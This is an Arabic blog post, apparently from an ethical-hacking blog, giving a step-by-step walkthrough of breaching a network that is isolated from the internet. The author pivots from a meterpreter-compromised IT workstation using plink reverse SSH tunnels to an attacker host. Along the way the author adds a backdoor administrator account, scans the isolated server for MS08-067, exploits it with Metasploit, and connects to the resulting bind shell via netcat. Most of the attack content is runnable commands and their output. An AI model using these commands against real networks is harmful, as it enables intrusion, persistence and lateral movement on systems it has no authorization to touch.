بحث هذه المدونة الإلكترونية

Home » » اختراق شبكة غير متصلة بالإنترنت عن طريق الـ SSH Tunnel

اختراق شبكة غير متصلة بالإنترنت عن طريق الـ SSH Tunnel





كثيرا ما نتحدث عن الحماية مع أشخاص تقنيين ولا يشترط كل إنسان تقني أن يكون مهتم بالحماية حتى و إن كان مهندس أنظمة أو مهندس شبكات أو كلاهما.
فعندما نبدأ الحديث عن حماية الـ Enterprise خاصة نجد الجميع يٌطَمئن نفسه بأن شبكته معزولة عن الإنترنت و أن فريق العمل محمي خلف NAT و Firewall ويظن بهذا أنه يستطيع أن يستريح من عناء إنشاء تلك الشبكة الرائعة و الأمنة  (في نظره). موضوعنا اليوم هو إثبات خطأ هؤلاء و خطورة هذا التفكير على الشركات و خاصة المتوسطة و الكبيرة الحجم.

مقدمة

كما ذكرنا أنفا أن عزل الشبكات عن الإنترنت لا يعني أنها آمنة و أنه لن يستطيع أن يصل إليها أحد عبر الإنترنت.
سيكون بطل المهمة هو استعمال تقنية النفق عن طريق الـ SSH  أو SSH Tunnels . سنرى في هذا التكنيك كم هو رائع و خطير عند استخدامه لأغراض أخرى.
إليكم رسمة الشبكة التي سنخترقها اليوم.

شكل الشبكة الخارجي
أعتقد وضع هذه الشبكة  موجود  أو حتى ما يشاببه أو قريب منه جدا و بكثرة ,,
الشبكة 10.0.0.0/8: سنفترض أنها الإنترنت أو الشبكة الخرجية, و هي مكان الخطر المعروف
الشبكة 192.168.28.0/24: هي شبكة الموظفين في الشركة وهم قسم الـ IT و يستطيعون الوصول للإنترنت, لكنهم خلف Firewall/NAT
الشبكة 172.16.0.0/16: هي شبكة الخوادم وهي الشبكة المعزولة عن الإنترنت تماما.

جهاز موظف IT
جهاز أحد موظفين الـ IT: يمتلك كرتين شبكة و يستطيع الوصول إلى الإنترنت , يظهر ذلك من عملية الـ ping


Non Routable Machine
صورة من أحد السيرفرات: له كرت شبكة واحد متصل بالشبكة المعزولة عن الإنترنت

بداية المهمة ! , التسلل إلى الداخل

و بطريقة أو أخرى استطعنا أن نخترق جهاز أحد موظفين الـ IT (هنا تكمن قوة جمع المعلومات و الاستفادة منها و التلاعب بالهندسة الاجتماعية العكسية)
سنفترض أننا اخترقنا جهازه -والذي له اتصال بالانترنت-  بأي نوع من أنواع الاختراق و لنفترض أنه Client Side Attack عن طريقة ثغرة متصفح الـ IE و هي aurora و كان الـ payload هو meterpreter و استخدمنا منه الاتصال العكسي reverse_tcp.

شكل اختراق الضحية IT PC
ملاحظة: يفضل أن تقوم بنقل الـpayload إلى أي خدمة/عملية مضمونة لأن الضحية قد يغلق المتصفح و نخسر الاتصال به.
meterpreter > ps

Process list

============

PID Name Arch Session User Path

--- ---- ---- ------- ---- ----

0 [System Process]

4 System x86 0 NT AUTHORITY\SYSTEM

684 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe

792 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe

816 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe

868 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe

880 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe

1040 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe

1112 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe

1404 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe

1524 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe

1684 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe

1832 explorer.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\Explorer.EXE

200 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe

440 VMwareTray.exe x86 0 NOT_SECURE\vm-user C:\Program Files\VMware\VMware Tools\VMwareTray.exe

448 VMwareUser.exe x86 0 NOT_SECURE\vm-user C:\Program Files\VMware\VMware Tools\VMwareUser.exe

492 afsloader.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsloader.exe

532 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe

596 snmp.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\snmp.exe

676 VMwareService.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMwareService.exe

756 afsmain.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsmain.exe

1380 afsmain.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsmain.exe

1912 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe

3228 wscntfy.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\system32\wscntfy.exe

1252 rundll32.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\system32\rundll32.exe
meterpreter > migrate 1832

[*] Migrating to 1832...

[*] Migration completed successfully.
رائع,,

تأمين الطريق و مد الأنفاق!!

سنقوم الأن برفع ملف plink.exe إلى جهاز الضحية حيث Plink  هو البرنامج الذي سنستخدمه لإنشاء النفق بيننا وبين جهاز الـ IT
meterpreter > upload /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\\windows\
[*] uploading  : /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\windows\
[*] uploaded   : /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\windows\\plink.exe
ثم نقوم بالحصول على على shell / سطر الأوامر على جهاز الضحية
ملاحظة: أعتدت أن أنشئ مستخدم بصلاحيات المدير على أي جهاز أقوم باختراقه و هذه طريقة من عدة طرق أتبعها لضمان العودة بطريقة أو بأخرى.
C:\Documents and Settings\vm-user>net user KING sec4ar /add
net user KING sec4ar /add
The command completed successfully.

C:\Documents and Settings\vm-user>net localgroup administrators KING /add
net localgroup administrators KING /add
The command completed successfully.

C:\Documents and Settings\vm-user>

التعامل مع الأنفاق

حتى الأن لم أدخل في موضوعي!! ,,
إذن لنبدأ ..
قاعدة هامة: كل منفذ تريد أن تتصل به على جهاز الضحية  يجب أن تنشئ له نفق خاص و يكون موجه لذلك المنفذ
أولا أريد أن أحصل (مثلا) على Remote Desktop على جهاز الضحية عن طريقة إنشاء نفق لكي أستطيع تجاوز الـFirewall/NAT الذي بيني و بينه والذي يمنعني من عمل اتصال مباشر من جهازي إلى جهازه.. لا تنسى أن اتصالنا السابق كان اتصال عكسي.
الأن جاء دور البرنامج الذي رفعناه على جهاز الصحية “Plink” , سأكتب الأمر ثم أشرحه
plink -l root -pw 123123 -C -R 3389:127.0.0.1:3389 10.0.0.100
القاعدة من الأمر السابق هي:
plink -l LUSER -pw PASSWORD -C -R LPORT:127.0.0.1:RPORT  Attacking-Machine's_IP
حيث
plink: البرنامج الذي سيقوم بإنشاء النفق
-l : سندخل إسم المستخدم لجهازنا و في مثالنا كان الـ root
-pw: كلمة مرور المستخدم و في مثالنا 123123
-R: تعني Remote Tunnel
لنشرح تفاصيل الأمر من الرسمة التالية

NAT-Tunnel
1: هو العنوان الداخلي لجهاز الضحية, أي الـ Loopback
2: هو المنفذ الخاص بجهاز الضحية و الذي سنتصل به, و هنا نريد أن نتصل RDC إذن نستخدم البورت 3389.
3: هو المنفذ الخاص بجهازنا و أنا اخترت أن يكون 3389 و بالطبع تستطيع تغييره
4: هو عنوان جهازنا الخارجي الخارجي الـ public و بالطبع تعرفون كيف تعملون عملية الـ Port redirection من أجهزة الـ modem خاصتكم.
الناتج
C:\Documents and Settings\vm-user>plink -l root -pw 123123 -C -R 3389:127.0.0.1:3389 10.0.0.100
plink -l root -pw 2122252 -C -R 3389:127.0.0.1:3389 10.0.0.100
The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.
The server's rsa2 key fingerprint is:
ssh-rsa 2048 09:38:a7:fc:d8:52:3b:c0:1c:11:df:1e:83:98:b1:db
If you trust this host, enter "y" to add the key to
PuTTY's cache and carry on connecting.
If you want to carry on connecting just once, without
adding the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n) y
- للتأكد من أن النفق تم إنشاءه بشكل صحيح, سنعرض الاتصالات الموجودة على جهازنا
netnetstat -nlpt
netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1051/rpcbind
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1339/sshd
tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN      1151/cupsd
tcp        0      0 127.0.0.1:3389              0.0.0.0:*                   LISTEN      30480/7
tcp        0      0 0.0.0.0:37325               0.0.0.0:*                   LISTEN      1104/rpc.statd
لاحظ الاتصال المنصت
tcp 0 0 127.0.0.1:3389 0.0.0.0:* LISTEN 30480/7
رائع تم إنشاء النفق بشكل صحيح ,,
الأن سنجرب الاتصال بجهاز الضحية عن طريق الـ Remote Desktop, على عنواننا الداخلي 172.0.0.1
تستطيع أن تستخدم أي برنامج (rdesktop , KRDC4), الأمر يعود إليك.
rdesktop 127.0.0.1 -g 800×600

RDC to NATed IT-Machine
الشكل الخارجي لما عملناه هو

شكل الوصول إلى سطح مكتب الضحية
تذكير: الخطوة السابق (الاتصال Remote Desktop): ليس شرطا فقد كانت لاختبار فعالية النفق. لكن الشرط هو إنشاء النفق نفسه لكي ننفذ بقية مهمتنا.

الزحف إلى العمق

الأن لنتعمق أكثر و هو محور موضعنا ,,
نريد أن نخترق جهاز في الشبكة التي لا تصل إلى الإنترنت أصلا(172.16.0.0/16), و التي يستطيع أن يصل إليها جهاز الضحية(192.168.28.128).
أي أننا سنحول كل البيانات المتجهة إلى الشبكة الداخلية الغير متصلة بالإنترنت عبر جهاز ضحيتنا
- الأن نغلق الـremote Desktop
- و نخرج من الـنفق
exit
- ثم نخرج من سطر أوامر الضحية أي نخرج من الشيل
exit
سنعود الأن إلى سطرا أوامر الـ Meterpreter
الأن سننفذ الأمر الذي سيحول كل البيانات الصادرة من جهازنا إلى الجهاز الغير متصل بالأنترنت عبر جهاز ضحيتنا الأولى
meterpreter> execute -f "plink -l root -pw 123123  -R 445:172.16.0.7:445 10.0.0.100"
Process 3520 created.

Tunnel to Non-Routable Machine
الأمر هنا هو نفس فكرة الأمر السابق إلا أننا استبدلنا الـ localhost أو الـ 127.0.0.1 بـ عنوان الجهاز الأخر (172.16.0.7) و الذي لا يصل إلى الإنترنت
ملاحظة: إذا تبادر إلى ذهنك كيف عرفنا عنوان الجهاز الأخر , فأجيب و أقول تستطيع استبدال اتصالك بالـ Remote Desktop بـأن تقوم بعملية scan و هذا استغلال أخر لوجود النفق
للتأكد من أن النفق تم إنشاءه بشكل صحيح, سنعرض الاتصالات الموجودة على جهازنا
netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1051/rpcbind
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1339/sshd
tcp        0      0 127.0.0.1:445               0.0.0.0:*                   LISTEN      1151/5
tcp        0      0 0.0.0.0:37325               0.0.0.0:*                   LISTEN      1104/rpc.statd
الأن سنقوم بعملية مسح على منافذ الجهاز 172.16.0.7 و التي تمر كل بيناتا إليه عن طريق الضحية الأولى”192.168.28.128″ فيها بسبب النفق الجديد و أصبح هو الـ loopback لجهازنا , سأبدأ بفحص خدمة الـ smb عليه.
nmap --script smb-check-vulns.nse 127.0.0.1 -p 445

Starting Nmap 5.21 ( http://nmap.org ) at 2010-08-10 22:26 AST
Stats: 0:00:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 1 (1 waiting)

NSE Timing: About 0.00% done
NSE: Script Scanning completed.
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000088s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-check-vulns:
|   MS08-067: LIKELY VULNERABLE (host stopped responding)
|   Conficker: Likely CLEAN
|   regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)
|_  SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)

Nmap done: 1 IP address (1 host up) scanned in 50.71 seconds
رائع ,, الخدمة تعمل عليه و المنفذ مفتوح و كما رأينا من عملية المسح أنه مصاب بالثغرة MS08-067
هيا لنطبق عليه هذه الثغرة, أيضا سنستخدم الـ Payload نوعه bind_tcp و سنجعل الـ RHOST هو الـ loopbak خاصتنا أي 127.0.0.1
لنرى هل سينجح في التطبيق أم لا,,
./msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/shell/bind_tcp LPORT=7777 RHOST=127.0.0.1 TARGET=3 E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Attempting to trigger the vulnerability...
رأينا أنه تم تنفيذ العملية بنجاح لكن ,, أين الـ shell الذي يطمح إليه أي مخترق ؟!؟
سنرى الأن ,,
لقد قمنا فعلا بالوصول و يفترض أن جهاز الضحية ينصت الأن إلى المنفذ 7777 . ما يجب عمله الأن هو إنشاء نفق جديد إلى جهاز الضحية الجديدة عبر الضحية الأولى ولكن المنفذ سيتغير من 445 إلى 7777 .
هيا بسرعة ,,
نذهب إلى الـ meterpreter المتصل بجهاز الضحية الأولى(192.168.28.128) و ننفذ التالي
execute -f "plink -l root -pw 123123  -R 7777:172.16.0.7:7777 10.0.0.100"
و كعادتنا سنتأكد من إنشاء النفق بشكل صحيح
netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1051/rpcbind
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1339/sshd
tcp        0      0 127.0.0.1:445               0.0.0.0:*                   LISTEN      1151/5
tcp        0      0 127.0.0.1:7777 0.0.0.0:*                   LISTEN 2009/11
tcp        0      0 0.0.0.0:37325               0.0.0.0:*                   LISTEN      1104/rpc.statd
tcp        0      0 :::111                      :::*                        LISTEN      1051/rpcbind
tcp        0      0 :::22                       :::*                        LISTEN      1339/sshd
tcp        0      0 ::1:445                     :::*                        LISTEN      1151/5
tcp        0      0 ::1:7777                    :::*                        LISTEN      2009/11
كما ذكرنا أن الضحية الجديدة الأن تنصت على المنفذ 7777 على أحر من الجمر :D
- لنتصل بها الأن عن طريق الـ Netcat , طبعا الاتصال سيكون على 127.0.0.1 عبر النفق
nc -v 127.0.0.1 7777
Connection to 127.0.0.1 7777 port [tcp/cbt] succeeded!
و الشكل الخارجي لما عملناه سابقا لنصل إلى الشبكة الثانية

شكل اختراق الشبكة الثانية - الغير متصلة بالانترنت
حتى هنا ,, أكون قد أنهيت شرحي و رمضان كريم و نتمنى لكم اختراقا شهيا ;)

إذا أعجبك الموضوع اضغط هنا, أو ضع إيميلك هنا ليصلك كل الجديد


ضع تعليقك

0 commentaires:

إرسال تعليق

 
Copyleft © 2011. مدونة الهكر الاخلاقي العربي - All lefts Reserved
تعريب the3kira